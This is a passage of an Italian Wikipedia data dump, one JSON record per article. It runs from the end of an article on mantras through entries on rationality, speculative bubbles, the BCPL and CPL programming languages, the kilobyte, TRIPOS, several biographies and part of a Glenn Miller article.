intonazione, pena la sua inefficacia. Va inoltre evidenziato che un mantra non lo si pu\u00f2 apprendere da un testo o da generiche altre persone, ma viene trasmesso da un \"guru\", un maestro cio\u00e8 che consacri il mantra stesso, con riti che non sono dissimili dalla consacrazione delle icone.\nL'atto di enunciare un mantra \u00e8 detto \"ucc\u0101ra\" in sanscrito; la sua ripetizione rituale va sotto il nome di \"japa\", e di solito \u00e8 praticata servendosi dell\"ak\u1e63am\u0101l\u0101\", un rosario risalente all'epoca vedica. Ci sono mantra che vengono ripetuti fino a un milione di volte:\nUn aspetto importante nell\"ucc\u0101ra\" \u00e8 il controllo della respirazione. Frequente, soprattutto nelle tradizioni tantriche, \u00e8 l'accompagnamento del \"japa\" con le \"mudr\u0101\", gesti simbolici effettuati con le mani, e con pratiche di visualizzazione. Uno dei significati di \"ucc\u0101ra\" \u00e8 \"movimento verso l'alto\", e difatti nella visualizzazione interiore il mantra \u00e8 immaginato risalire nel corpo del praticante lungo lo stesso percorso della \"ku\u1e47\u1e0dalin\u012b\", l\"energia\" interiore.\nI \"b\u012bja\".\nI \"b\u012bja\" (\"seme\") sono monosillabi che generalmente non hanno un significato semantico, o lo hanno perso nel corso del tempo, ma vanno interpretati come suoni semplici atti a esprimere o evocare particolari aspetti della natura o del divino, e ai quali sono attribuiti funzioni specifiche e interpretazioni che variano di scuola in scuola. Spesso questi \"semi verbali\" sono combinati fra loro a costituire un mantra, oppure adoperati come mantra essi stessi (\"b\u012bjamantra\"). Alcuni fra i pi\u00f9 noti sono:\nNella \"Yogattatva Upani\u1e63ad\" i suddetti \"b\u012bja\", corrispondenti ai cinque elementi cosmici, vengono messi in relazione con le \"cinque parti\" del corpo: dalle caviglie alle ginocchia: terra; dalle ginocchia al retto: acqua; dal retto al cuore: fuoco; dal cuore al punto fra le sopracciglia: aria; da quest'ultimo alla sommit\u00e0 del capo: etere. La recitazione consente di acquisire poteri occulti per queste parti del corpo.\nInfine, i cinquanta fonemi dell'alfabeto sanscrito possono essere utilizzati come mantra essi stessi, singolarmente o variamente combinati; ogni fonema pu\u00f2 corrispondere a una divinit\u00e0. Occorre infatti ricordare che secondo quelle dottrine hindu che considerano il mondo increato, ogni suo aspetto gi\u00e0 esiste in potenza nei primordi del suo svilupparsi, fonemi e parole non escluse. La parola oltrepassa qui il campo d'interesse della grammatica o della fonetica, per diventare oggetto di studio metafisico e religioso. \u00c8 la parola nella sua accezione pi\u00f9 ampia, la parola cosmica. Si pu\u00f2 quindi comprendere come alcune parole e alcuni suoni possano avere la propriet\u00e0 di interagire con altri aspetti del mondo. Ed \u00e8 qui che va colto il senso della \"potenza\" dei mantra.\nAlcuni mantra.\n\u0950 \u0924\u094d\u0930\u094d\u092f\u092e\u094d\u092c\u0915\u092e\u094d \u092f\u091c\u093e\u092e\u0939\u0947 \u0938\u0941\u0917\u0928\u094d\u0927\u093f\u092e\u094d \u092a\u0941\u0937\u094d\u091f\u093f\u0935\u0930\u094d\u0927\u0928\u092e\u094d \u0964\u0909\u0930\u094d\u0935\u093e\u0930\u0941\u0915\u092e\u093f\u0935 \u092c\u0928\u094d\u0927\u0928\u093e\u0928\u094d \u092e\u0943\u0924\u094d\u092f\u094b\u0930\u094d\u092e\u0941\u0915\u094d\u0937\u0940\u092f \u092e\u093e\u092e\u0943\u0924\u093e\u0924\u094d \nO\u1e43 tryambaka\u1e43 yaj\u0101mahe sugandhi\u1e43 pu\u1e63\u1e6divardhanam urv\u0101rukam iva bandhan\u0101n m\u1e5btyor muk\u1e63\u012bya m\u0101m\u1e5bt\u0101t\n\"Veneriamo il Signore dai tre occhi, profumato, che d\u00e0 la forza e la libera dalla morte. Possa liberarci dai legami della morte.\"\nIl mantra \u00e8 rivolto a \u015aiva nel suo aspetto distruttivo, Rudra, ed \u00e8 un'esortazione il cui scopo \u00e8 di allontanare la morte, nel senso di prevenire l'invecchiamento. Si ritrova per esempio nei testi: \"Mah\u0101nirv\u0101na Tantra\" (5, 211); \"Udd\u012bsha Tantra\" (94).\n\u0950 \u092d\u0942\u0930\u094d\u092d\u0941\u0935\u0938\u094d\u0935: | \u0924\u0924\u094d \u0938\u0935\u093f\u0924\u0942\u0930\u094d\u0935\u0930\u0947\u0923\u094d\u092f\u092e\u094d | \u092d\u0930\u094d\u0917\u094b \u0926\u0947\u0935\u0938\u094d\u092f \u0927\u0940\u092e\u0939\u093f | \u0927\u093f\u092f\u094b \u092f\u094b \u0928: \u092a\u094d\u0930\u091a\u094b\u0926\u092f\u093e\u0924\u094d\nO\u1e43 bh\u016br buva\u1e25 sva\u1e25 | tat savitur vare\u1e47ya\u1e43 | bhargo devasya dh\u012bmahi | dhiyo yo na\u1e25 pracoday\u0101t\n\"Sfera terrestre, sfera dello spazio, sfera celeste! Contempliamo lo splendore dello spirito solare, il creatore divino. Possa egli guidare i nostri spiriti [verso la realizzazione dei quattro scopi della vita].\"\nComposto di dodici pi\u00f9 dodici sillabe, \u00e8 ripetuto dodici volte il mattino, il mezzogiorno e la sera. Il suo uso \u00e8 vietato alle donne e agli uomini di casta bassa. Si ritrova per esempio nei:\n\"\u1e5agvedasa\u1e43hit\u0101\" (III, 62, 10); \"Ch\u0101ndogya Upani\u1e63ad\" (3,12); \"B\u1e5bhad\u0101ra\u1e47yaka Upani\u1e63ad\" (5, 15).\n\u0950 \u092e\u0923\u093f \u092a\u0926\u094d\u092e\u0947 \u0939\u0942\u0901\nOm Mani Peme Hung o Om Mani Beh Meh Hung in tibetano\n\"Salve o Gioiello nel fiore di Loto\"\n\u00c8 il mantra di Cenresig, il Buddha della Compassione e protettore di chi \u00e8 in imminente pericolo. Questo mantra viene raccomandato in tutte le situazioni di pericolo o di sofferenza, o per aiutare gli altri esseri senzienti in condizioni di dolore. Uno dei suoi significati pi\u00f9 tenuti in considerazione \u00e8 la collocazione del Gioiello, simbolo della bodhicitta, nel Loto, simbolo della coscienza umana. Ha altres\u00ec il potere di sviluppare la compassione, grande virt\u00f9 contemplata dal Buddhismo.\n\u015ar\u012b\u1e43 Hr\u012b\u1e43 Kl\u012b\u1e43 K\u1e5b\u1e63\u1e47\u0101ya Sv\u0101h\u0101\n\"Fortuna, Illusione, Desiderio, Offerta al dio oscuro.\"\nIl dio oscuro \u00e8 K\u1e5b\u1e63\u1e47a, con riferimento al colore della sua pelle. Il mantra invoca tre aspetti del dio, e ha come scopo di ispirare l'amore divino.\nAu\u1e43 Kr\u012b\u1e43 Kr\u012b\u1e43 H\u016b\u1e43 H\u016b\u1e43 Hr\u012b\u1e43 Hr\u012b\u1e43 Sv\u0101h\u0101\nLo scopo di questo mantra \u00e8 generico, viene recitato per ottenere qualsiasi realizzazione. Presente, ad esempio nei: \"Karp\u016bradi Stotra\" (5); \"Karpura-stava\" (5).\n\u0950 \u0928\u092e: \u0936\u093f\u0935\u093e\u092f\nO\u1e43 nama\u1e25 \u015aiv\u0101ya\n\"Io mi inchino davanti a \u015aiva.\"\n\u00c8 il mantra principale nelle correnti devozionali \u015baiva. Composto di cinque sillabe (\"panch\u0101k\u015bara\" vuol dire appunto \"cinque sillabe\", e cinque \u00e8 il numero sacro di \u015aiva), viene ripetuto in genere 108 volte, o anche 5 volte tre volte al giorno. \u00c8 contenuto in molti testi, fra i quali, ad esempio, lo \"\u015aiva \u0100gama\", lo \"\u015aiva Pur\u0101\u1e47a\".\nO\u1e43 Ju\u1e43 Sa\u1e25\n\u00c8 detto anche \"il mantra dell'occhio di \u015aiva\", ed \u00e8 citato nel \"Netra Tantra\", cap. VII.\nAu\u1e43 namo N\u0101r\u0101ya\u1e47aya\n\"Io mi inchino davanti a colui che dispensa sapere e liberazione.\"\nIl mantra \u00e8 rivolto a Visn\u00f9, essendo N\u0101r\u0101ya\u1e47a appellativo del dio.\nHare K\u1e5b\u1e63\u1e47a Hare K\u1e5b\u1e63\u1e47a | K\u1e5b\u1e63\u1e47a K\u1e5b\u1e63\u1e47a Hare Hare | Hare R\u0101ma Hare R\u0101ma | R\u0101ma R\u0101ma Hare Hare\nNoto anche come \"Mah\u0101 mantra\" (\"grande mantra\"), \u00e8 il mantra pi\u00f9 noto delle correnti devozionali \"krishnaite\", molto conosciuto anche in Occidente a partire dagli anni sessanta per opera della \"International Society for Krishna Consciousness\" (ISKCON) (nota pi\u00f9 familiarmente come \"gli Hare Krishna\"), associazione religiosa statunitense di devoti a K\u1e5b\u1e63\u1e47a fondata nel 1966 in New York.\n\"Hare\" \u00e8 uno degli appellativi di Vi\u1e63\u1e47u, R\u0101ma \u00e8 il settimo \"avat\u0101ra\" di Vi\u1e63\u1e47u; l'intonazione del mantra \u00e8 considerata dai fedeli come il metodo pi\u00f9 semplice per esprimere l'amore di Dio, K\u1e5b\u1e63\u1e47a medesimo, completa manifestazione di \u012a\u015bvara."}
{"id": "26626", "revid": "640277", "url": "https://it.wikipedia.org/wiki?curid=26626", "title": "Razionalit\u00e0", "text": "Il termine razionalit\u00e0, dal latino \"ratio\" (\"razio\", cio\u00e8 ragione, motivo, senso) indica la propriet\u00e0 di quei princ\u00ecpi o processi dotati di una logica consequenziale e stabilita \"a priori\". Nel parlare quotidiano indica il comportarsi in maniera equilibrata.\nOrigini filosofiche del concetto.\nLa razionalit\u00e0 era originariamente intesa come la facolt\u00e0 discorsiva di produrre inferenze logiche, cio\u00e8 ragionamenti che, facendo uso di premesse iniziali per giungere a delle conclusioni, si serviva a loro volta di queste ultime come premesse per ulteriori conclusioni secondo il modello antico della geometria di Euclide. In particolare Aristotele ha ripreso questo metodo nello schema del suo sillogismo deduttivo.\nUso economico del termine.\nIl termine razionalit\u00e0 \u00e8 stato poi definito sistematicamente da Max Weber che distingue tra \"\"razionalit\u00e0 in base al valore\" (o \"Wertrational\", determinata dalla volont\u00e0 dell'attore di seguire un criterio valoriale che definisce il modo in cui operare) e \"razionalit\u00e0 in base al fine\"\" (o \"Zweckrational\", determinata dalla volont\u00e0 dell'attore di raggiungere specifici obiettivi).\nRazionalit\u00e0 strumentale.\nNell'uso pi\u00f9 comune prevale questa seconda accezione, detta anche la \"razionalit\u00e0 strumentale\" o economica, che negli studi di Rational Choice e Teoria dei giochi viene formalmente descritta in modelli logici e matematici: l'attore \u00e8 dotato di preferenze riguardo a futuri stati del mondo, tali che da ciascuno egli trarr\u00e0 un certo livello di utilit\u00e0; allo stesso tempo l'attore conosce, o immagina, i possibili corsi d'azione da intraprendere e le conseguenze che essi avranno sulla probabilit\u00e0 dell'avverarsi di ciascuno di questi stati del mondo; incrociando tali corsi d'azione con le utilit\u00e0 attese dal loro dispiegarsi, l'attore sceglie di agire nel modo che massimizza la sua utilit\u00e0 attesa.\nVarianti.\nLa difficolt\u00e0 di applicare tale modello alla realt\u00e0, in cui raramente l'attore ha una visione completa e chiara delle conseguenze della sua azione, ha portato lo studioso statunitense Herbert Simon (Premio Nobel per l'economia) a introdurre il concetto di \"razionalit\u00e0 limitata\": per prevedere o comprendere l'azione di un individuo lo studioso deve valutare quali fossero le conoscenze, i valori, l'ambiente dell'attore al momento della decisione (le cosiddette \"premesse decisionali\"). Una seconda difficolt\u00e0 di applicazione del modello della razionalit\u00e0 strumentale deriva dall'incapacit\u00e0 di molti attori di definire le proprie preferenze e di ordinarle in maniera univoca; tale situazione di incertezza radicale viene risolta dall'attore con l'adesione a comportamenti \"istituzionalizzati\", che rispondono a una razionalit\u00e0 tutta particolare, detta \"logica dell'appropriatezza\".\nOltre che al comportamento dell'individuo, il concetto di razionalit\u00e0 pu\u00f2 applicarsi al comportamento delle collettivit\u00e0 e delle organizzazioni; elemento essenziale del modello burocratico (burocrazia), la razionalit\u00e0 dei processi decisionali nelle politiche pubbliche viene considerata in genere inapplicabile per gli stessi motivi, amplificati, per cui non trova rispondenza nell'agire individuale. In alternativa quindi al modello della razionalit\u00e0 strumentale, si sono elaborati in Scienza della politica i modelli di incrementalismo e di cestino dei rifiuti, che assegnano il ruolo di variabile determinante dell'azione rispettivamente all'aggiustamento reciproco tra gli attori e al caso.\nLa razionalit\u00e0 organizzativa degli individui \u00e8 dovuta ad una conoscenza imperfetta delle premesse decisionali, delle alternative di scelta, dei rapporti strumentali e degli obiettivi."}
{"id": "26629", "revid": "1347902", "url": "https://it.wikipedia.org/wiki?curid=26629", "title": "Bolla speculativa", "text": "La bolla speculativa in economia \u00e8 una particolare fase di mercato caratterizzata da un aumento considerevole e ingiustificato dei prezzi di uno o pi\u00f9 beni, dovuto ad una crescita della domanda repentina e limitata nel tempo: alla fase di nascita e di crescita della bolla segue poi la fase di \"scoppio\" che tende a ripristinare i valori originari del bene in questione. Generalmente si parla di bolla speculativa con riferimento a mercati finanziari nei quali vengono trattate azioni, obbligazioni e titoli derivati, tuttavia la storia delle bolle speculative mostra come siano stati frequenti i casi di bolle che hanno riguardato beni materiali, come gli immobili.\nDescrizione.\nNascita di una bolla.\nL'eccesso di domanda che spinge verso l'alto in poco tempo il valore di un bene, di un servizio, di una impresa o pi\u00f9 semplicemente di un titolo che rappresenta un qualche diritto sugli stessi, si pu\u00f2 ricondurre all'irrazionale (o razionale) euforia di soggetti economici convinti che una nuova industria, un nuovo prodotto, una nuova tecnologia potranno offrire cospicui guadagni e registrare una crescita senza precedenti. Scatta, pertanto, la corsa all'acquisto del diritto, nella speranza di rivendere lo stesso ad un prezzo superiore. La corsa all'acquisto provoca un aumento del prezzo che conferma, agli occhi di molti, la bont\u00e0 della precedente previsione di un futuro aumento del prezzo del diritto. Questo stimola ulteriormente gli acquisti e quindi fa aumentare ancora una volta il prezzo. La profezia in altri termini si autoavvera, inducendo nuovi soggetti economici ad acquistare i medesimi titoli. Tra questi, man mano che i valori crescono, si annoverano sempre pi\u00f9 soggetti solitamente restii ad acquistare strumenti finanziari dal rischio elevato.\nScoppio della bolla.\nQuando il valore dei titoli scende repentinamente e si assiste a un cambiamento radicale delle prospettive economiche retrostanti, si parla di scoppio della bolla speculativa.\nL'eccesso di acquisto di un diritto, infatti, ad un certo punto si arresta. Le cause possono essere almeno tre:\nAlla fase di crescita dei valori segue dunque una fase opposta, durante la quale si assiste ad un calo considerevole delle quotazioni. All'eccesso di vendite contribuiscono la consapevolezza che, di fronte a prospettive economiche meno ottimistiche, i valori dei titoli trattati sono destinati a calare, e la volont\u00e0 di molti possessori di titoli di cederli prima che si verifichino ulteriori diminuzioni del valore.\nFasi.\nCome spiegato nella seconda parte della teoria di Dow, il mercato finanziario si evolve per fasi cicliche pi\u00f9 o meno regolari:"}
{"id": "26632", "revid": "1564", "url": "https://it.wikipedia.org/wiki?curid=26632", "title": "Basic Combined Programming Language", "text": ""}
{"id": "26636", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26636", "title": "BCPL", "text": "Il BCPL (\"Basic Combined Programming Language\") \u00e8 un linguaggio di programmazione sviluppato da Martin Richards dell'Universit\u00e0 di Cambridge nel 1966.\nStoria.\nRichards svilupp\u00f2 il linguaggio in seguito alle difficolt\u00e0 che aveva incontrato nell'utilizzo del suo predecessore, il Combined Programming Language. Il primo compilatore del nuovo linguaggio di programmazione venne implementato mentre lo studioso si trovava al MIT, nella primavera del 1967. Il linguaggio venne presentato per la prima volta alla \"Spring Joint Computer Conference\" nel al 1969. L'architettura del BCPL influenz\u00f2 pesantemente il linguaggio B, da cui Dennis Ritchie in seguito svilupp\u00f2 il C. \nNel 1979 esistevano implementazioni di BCPL per almeno 25 diverse architetture, venendo progressivamente soppiantato dal linguaggio C.\nCaratteristiche.\nLe caratteristiche di pulizia, potenza e portabilit\u00e0 rendono semplice la realizzazione di compilatori compatti. Alcuni sistemi operativi vennero scritti, completamente o in parte, utilizzando BCPL (ad esempio il TripOS o l'AmigaOS). La principale caratteristica che rendeva il compilatore particolarmente portabile risiedeva nel fatto che esso era logicamente diviso in due parti: la prima parte (\"front end\") si occupava di analizzare il codice sorgente e di generare un codice intermedio (\"O-code\") per una macchina virtuale, la seconda (\"back end\") traduceva l\"'O-code\" nel codice per la CPU bersaglio, su cui il programma doveva girare. In questo modo, quando era necessario scrivere un compilatore per una nuova CPU, era sufficiente riscrivere il \"backend\". Questa tecnica divenne in seguito molto comune (ad esempio in Pascal o Java), ma il BCPL fu il primo linguaggio a specificare una macchina virtuale a questo scopo.\nIl linguaggio si caratterizza per avere un unico tipo di dati, il tipo word (un numero fisso di byte, di solito scelto per allinearsi con la parola della macchina). L'interpretazione del dato veniva fatta in base al tipo di operatori utilizzati: ad esempio, utilizzando il segno di addizione \"+\", i dati venivano sommati come se si trattasse di numeri interi, mentre l'operatore \"!\" di dereferenziazione trattava i dati come puntatori. Allo scopo di rendere la cosa possibile, l'implementazione del BCPL non prevedeva il type checking.\nLa filosofia del BCPL pu\u00f2 essere riassunta in queste righe, liberamente tradotte dal libro \"BCPL, the language and its compiler\":\nEsempi.\nQuesti esempi completi e compilabili sono presi dalla distribuzione del BCPL di Martin Richards.\nStampa del fattoriale:\nSoluzioni del rompicapo delle otto regine:"}
{"id": "26638", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26638", "title": "Cpl", "text": ""}
{"id": "26641", "revid": "1842072", "url": "https://it.wikipedia.org/wiki?curid=26641", "title": "Combined Programming Language", "text": "Il CPL (Combined Programming Language) \u00e8 un linguaggio di programmazione sviluppato da Christopher Strachey congiuntamente ad altri studiosi presso l'Universit\u00e0 di Cambridge e l'Universit\u00e0 di Londra durante i primi anni 1960.\nIl linguaggio \u00e8 pesantemente influenzato dall'ALGOL, ma invece che essere estremamente leggero, elegante e semplice, il CPL fu progettato per scopi differenti dal calcolo scientifico e per questo motivo \u00e8 pi\u00f9 complesso e meno elegante del suo predecessore."}
{"id": "26642", "revid": "122563826", "url": "https://it.wikipedia.org/wiki?curid=26642", "title": "Chilobyte", "text": "Il chilobyte \u00e8 un'unit\u00e0 di misura dell'informazione o della quantit\u00e0 di dati e fa parte dei vari multipli del byte. Il termine deriva dalla unione del prefisso SI chilo con byte, il prefisso chilo trae origine dalla parola greca \u03c7\u03af\u03bb\u03b9\u03bf\u03b9 (\"khilioi\") che significa 1000.\nIl simbolo del chilobyte secondo le convenzioni del Sistema internazionale di unit\u00e0 di misura \u00e8 kB. Sono diffuse anche altre abbreviazioni, come KB, kb, Kbyte, kbyte, K e k.\nQuanto vale un chilobyte?\nA causa delle imprecisioni nell'uso dei prefissi SI come chilo, mega, ecc. e a seconda del contesto in cui viene utilizzato, il chilobyte pu\u00f2 rappresentare due diversi valori:\nDefinizione non standard o binaria.\nQuesta definizione \u00e8 sempre usata per esprimere la capacit\u00e0 di memoria e altre quantit\u00e0 basate sulla potenza di 2. Anche la maggior parte dei software (compresi i sistemi operativi) utilizzano questa definizione per indicare valori come la dimensione di un file o lo spazio disponibile su hard disk. Questa definizione per\u00f2 \u00e8 stata espressamente vietata dal SI e anche la maggior parte delle altre organizzazioni di standardizzazione suggerisce che per indicare 1 024 byte si usi il kibibyte. Anche se il termine \"kibibyte\" viene usato ancora abbastanza raramente sta cominciando a essere utilizzato nei software che necessitano di elevata precisione come ad esempio GParted, BitTorrent o il kernel Linux.\nDefinizione standard.\nQuesta definizione \u00e8 in accordo con i prefissi del SI e andrebbe usata indipendentemente dal contesto in cui ci si trova. Istituti internazionali di standardizzazione quali la Commissione elettrotecnica internazionale (IEC), l'Institute of Electrical and Electronics Engineers (IEEE) e l'ISO oltre a consigliarne l'utilizzo puntualizzano che l'unico modo per abbreviare la parola \"chilobyte\" dovrebbe essere quello di usare il simbolo \"kB\". La definizione 1 chilobyte = 1 000 byte \u00e8 comunemente usata in tutti quei contesti in cui le quantit\u00e0 da misurare non sono basate su potenze di 2 (ad esempio la velocit\u00e0 di \"clock\" o di trasferimento dati); in molti altri contesti per\u00f2 la definizione 1 chilobyte = 1 024 byte continua a essere usata e a provocare errori di interpretazione (spesso anche voluti). Infatti, anche se nell'uso comune fa molta fatica ad affermarsi, il modo pi\u00f9 corretto per indicare 1 024 byte dovrebbe essere il kibibyte (KiB) e valori affini come gibibyte (GiB) per di byte e via dicendo. Questo introdurrebbe maggiore chiarezza, ad esempio, quando si misura una quantit\u00e0 di memoria che contiene meno di X byte, ma grazie a varie approssimazioni viene pubblicizzata come se avesse capacit\u00e0 X byte, ed \u00e8 forse uno dei motivi per cui non viene usato dalla catena di costruzione e distribuzione dei computer."}
{"id": "26644", "revid": "767487", "url": "https://it.wikipedia.org/wiki?curid=26644", "title": "Mitchell Parish", "text": "Biografia.\nAll'et\u00e0 di sette mesi si trasfer\u00ec con la famiglia dalla Lituania agli Stati Uniti. Ben presto cambiarono il loro cognome in \"Parish\". Vissero circa tre anni e mezzo in Louisiana e successivamente si trasferirono a New York.\nMichael cambi\u00f2 nome in \"Mitchell\" nel 1919, quando inizi\u00f2 a lavorare come paroliere. Nel 1922 si spos\u00f2 con Molly Lillienfeld, da cui ebbe due figlie e un figlio.\nVerso la fine degli anni venti era diventato uno tra gli autori pi\u00f9 noti, attivi a New York. Scriveva testi per i musical e per le canzoni dei pi\u00f9 famosi musicisti. Solo per citarne alcuni, \"Stardust\" su musica di Hoagy Carmichael, \"Sophisticated Lady\" su musica di Duke Ellington, \"Moonlight Serenade\" su musica di Glenn Miller, \"Sleigh Ride\" (1950) su musica di Leroy Anderson. Scrisse anche il testo della versione inglese di \"Volare/Nel blu dipinto di blu\" di Domenico Modugno. Sue sono anche le parole per la versione jazz di \"Pavane pour une infante d\u00e9funte\" di Maurice Ravel, che ha il titolo di \"The Lamp Is Low\".\nDopo la seconda guerra mondiale torn\u00f2 all'universit\u00e0 e si laure\u00f2 con lode nel 1950, a cinquant'anni, presso l'universit\u00e0 di New York.\nIl suo nome \u00e8 stato inserito nella Songwriters Hall of Fame"}
{"id": "26645", "revid": "834", "url": "https://it.wikipedia.org/wiki?curid=26645", "title": "Michael Hyman Peretz", "text": ""}
{"id": "26649", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26649", "title": "TripOS", "text": "TRIPOS \u00e8 un sistema operativo sviluppato nel 1978 all'Universit\u00e0 di Cambridge da Martin Richards. Ha costituito la base dell'AmigaDOS.\nStoria.\nLo sviluppo inizi\u00f2 nel 1976 presso il Computer Laboratory dell'Universit\u00e0 di Cambridge ed era diretto da Martin Richards. La prima versione apparve nel gennaio 1978 e originariamente funzionava su un PDP-11 Successivamente \u00e8 stato portato su Computer Automation LSI4 e Data General Nova, venne utilizzato negi anni 1980 anche nell'universit\u00e0 di Cambridge come parte del \"Cambridge Distributed Computing System\".\nI lavori su una versione del chip Motorola 68000 iniziarono nel 1981 all'Universit\u00e0 di Bath. \"MetaComCo\" ha acquisito i diritti per la versione per 68000 e ha continuato lo sviluppo fino a quando il sistema operativo venne scelto da Commodore Amiga nel marzo 1985 per far parte di un sistema operativo per il loro nuovo computer, venendo incorporato dentro AmigaDOS nel luglio del 1985. A partire da gennaio 2019, \u00e8 gestito da OpenGI.\nCaratteristiche.\nPossiede funzionalit\u00e0 come il multitasking preventivo (utilizzando una pianificazione a priorit\u00e0 rigorosa), un file system gerarchico, l'utilizzo di librerie condivise e alcuni interpreti da riga di comando. I driver nel kernel e delle periferiche sono stati implementati in linguaggio assembly."}
{"id": "26650", "revid": "120786667", "url": "https://it.wikipedia.org/wiki?curid=26650", "title": "Giovanni Taddeo Farini", "text": "Biografia.\nNacque da Domenico Farini e Orsola Cattani in Russi presso Ravenna. Comp\u00ec studi classici dapprima nel Seminario di Faenza, quindi nel Collegio di Ravenna. In seguito, studi\u00f2 matematica \npresso l'Universit\u00e0 di Pisa sotto la direzione scientifica del matematico Pietro Paoli. Ancora studente, si trasfer\u00ec presso l'Universit\u00e0 di Bologna dove consegu\u00ec la laurea in matematica. Perfezion\u00f2 gli studi matematici presso l'Universit\u00e0 di Pavia, sotto la guida del matematico Vincenzo Brunacci, e ivi pubblic\u00f2 l'analisi di un nuovo sostegno immaginato dal Betancourt. \nGrazie a questo lavoro, venne designato ingegnere all'Arsenale di Venezia.\nEletto professore di Fisica Generale all'Universit\u00e0 di Padova nel 1810, copr\u00ec dapprima come supplente la cattedra di Introduzione al Calcolo Sublime e quindi ebbe l'incarico per Matematica Pura.\nMembro della R.I. Accademia di Scienze Lettere e Arti di Padova, fu membro attivo dal 29 marzo 1810 e presidente negli anni 1819-1820."}
{"id": "26651", "revid": "2", "url": "https://it.wikipedia.org/wiki?curid=26651", "title": "C (linguaggio di programmazione)", "text": ""}
{"id": "26660", "revid": "125756230", "url": "https://it.wikipedia.org/wiki?curid=26660", "title": "Glenn Miller", "text": "\u00c8 stato un musicista jazz e direttore d'orchestra tra i pi\u00f9 noti dell'epoca swing e autore di brani celeberrimi come \"Moonlight Serenade\" del 1939. Nel 1983, 1991 e 1996 tre sue incisioni sono state inserite nella Grammy Hall of Fame. \"In the Mood\", non \u00e8 invece una sua composizione, l'autore \u00e8 Joe Garland, si deve per\u00f2 allo stesso Miller e agli arrangiatori Eddie Durham e Chummy McGregor la versione dell'agosto 1939 divenuta poi famosissima.\nLa carriera musicale.\nTrascorse l'adolescenza a Fort Morgan, nel Colorado, dove prese lezioni di musica e cominci\u00f2 a suonare il trombone nell'orchestra di Boyd Senter. Tra il 1921 e il 1922 studi\u00f2 alla Colorado State University, successivamente si un\u00ec all'orchestra di Ben Pollack lavorando anche come arrangiatore. Negli anni trenta giunse a New York lavorando come \"free lance\" sia in spettacoli dal vivo che negli studi di registrazione. Dopo aver collaborato, tra gli altri, con Red Nichols, con i fratelli Jimmy e Tommy Dorsey e con Ray Noble, nel 1937 form\u00f2 la sua prima band, cercando di mettere a fuoco le sue intuizioni musicali e di sfruttare l'intensit\u00e0 del timbro del suo strumento, che si elevava sui quattro sassofoni creando un suono altamente riconoscibile.\nNel 1938 costitu\u00ec un secondo organico orchestrale, la \"Glenn Miller Orchestra\". Nella primavera del 1939 l'orchestra, ormai messa a punto, riusc\u00ec a diventare celebre molto rapidamente grazie agli ingaggi al \"Glen Island Casino e al Meadowbrook ,\" due famose sale da ballo di New York\",\" e ancor pi\u00f9 dal fatto che tali serate venivano trasmesse in tutti gli stati uniti in diretta radiofonica. Nel 1939 incise i primi dischi di successo e nel 1940 l'orchestra assunse la sua formazione classica, con musicisti come Ray Anthony, Billy May, Bobby Hackett e Ray Eberle. A cavallo tra gli anni trenta e quaranta fu l'orchestra pi\u00f9 popolare negli Stati Uniti.\nNel 1941 raggiunge la prima posizione nella classifica Billboard Hot 100 con i brani \"The Song of the Volga Boatmen\", \"Chattanooga Choo Choo\" ed \"Elmer's Tune\" con Ray Eberle ed i Modernaires, nel 1942 con \"A String of Pearls\" per due settimane, \"Moonlight Cocktail\" con Ray Eberle ed i Modernaires per dieci settimane e \"(I've Got a Gal In) Kalamazoo\" con Tex Beneke, Marion Hutton ed i Modernaires per sette settimane (per il film \"Voglio essere pi\u00f9 amata\") e nel 1943 \"That Old Black Magic\".\nNel 1942 , all'apice del successo tanto ricercato, Miller si arruol\u00f2 volontario nell'Esercito per dare il suo contributo alla guerra. Con il grado di capitano (e in seguito maggiore) dopo qualche mese fu assegnato all'aviazione degli Stati Uniti (all'epoca US Army Air Corps), e messo a capo di un'orchestra militare, la Army Air Force Band e assegnato all'intrattenimento delle truppe in Inghilterra.\nMiller scomparve improvvisamente il 15 dicembre 1944, mentre sorvolava la Manica a bordo di un aereo militare per raggiungere Parigi, dove la sua orchestra avrebbe dovuto suonare per i soldati che avevano da poco liberato la capitale francese. Il suo corpo non fu mai recuperato. Come disperso in guerra, nell'aprile del 1992 gli fu dedicata una lapide nel Cimitero nazionale di Arlington, su richiesta di Jonnie Dee Miller la figlia del musicista, nel settore \"Memorial Section H, Site 464-A\".\nLa \"Glenn Miller Orchestra\" prosegu\u00ec la sua attivit\u00e0 dopo la guerra, sotto la direzione di altri musicisti tra cui Tex Beneke, Ray Anthony e Buddy DeFranco. \nIl primo disco d'oro della storia.\nIl 10 febbraio 1942 Glenn Miller ricevette il primo Disco d'oro della storia per la sua incisione di \"Chattanooga Choo Choo\", che aveva venduto oltre un milione di copie in appena tre mesi. Fu la casa discografica RCA Victor ad inventarsi la trovata pubblicitaria di dipingere d'oro una copia del disco per poi consegnarla a sorpresa a Miller durante una trasmissione radiofonica in diretta.\nIl mistero della morte.\nA causa della sparizione del corpo e delle reticenze dell'esercito e dell'aviazione statunitensi ci sono molte ipotesi sulla sua morte. Una delle pi\u00f9 credibili sembra essere quella che Miller sia rimasto vittima in volo del fuoco amico britannico durante un'incursione aerea contro i tedeschi.\nTra le tante fantasiose teorie non ufficiali, viene ipotizzato che Miller giunse a Parigi ma venne catturato dall\"Obersturmbannf\u00fchrer\" delle SS Otto Skorzeny che voleva sfruttarlo per raggiungere il generale Eisenhower e rapirlo (o ucciderlo) in un \"raid\" da svolgersi nel Natale del 1944; Miller a sua volta faceva parte, insieme al maggiore David Niven, di un'operazione segreta per negoziare l'armistizio degli ufficiali nazisti e potrebbe essere stato torturato e ucciso anche per quello.\nA favore della tesi ufficiale va considerata la testimonianza dell'equipaggio di un bombardiere che rientrava in Inghilterra il giorno in cui Miller si stava recando a Parigi. Il bombardiere aveva abbandonato la sua missione e, secondo la procedura standard, doveva scaricare le bombe inutilizzate in una zona specifica della Manica durante il volo di ritorno. Uno dei membri dell'equipaggio afferm\u00f2 di aver visto un \"Norseman\" volare al di sotto dei bombardieri durante lo sganciamento. Anche l'aereo di Miller era un \"Norseman\" e una deviazione di poche miglia dalla rotta stabilita lo avrebbe portato effettivamente sotto i bombardieri in rientro.\nAltra tesi punta su un diario del signor Richard Anderton, rimasto inedito per 60 anni, da cui si evincerebbe che Miller mor\u00ec a causa sia di errori umani che per errori di calcolo: Steven Miller, figlio di Glenn, ha fatto condurre un'indagine completa per trovare la reale verit\u00e0. L'indagine, durata sei anni, \u00e8 diventata un libro dal titolo \"Glenn Miller Declassified\" 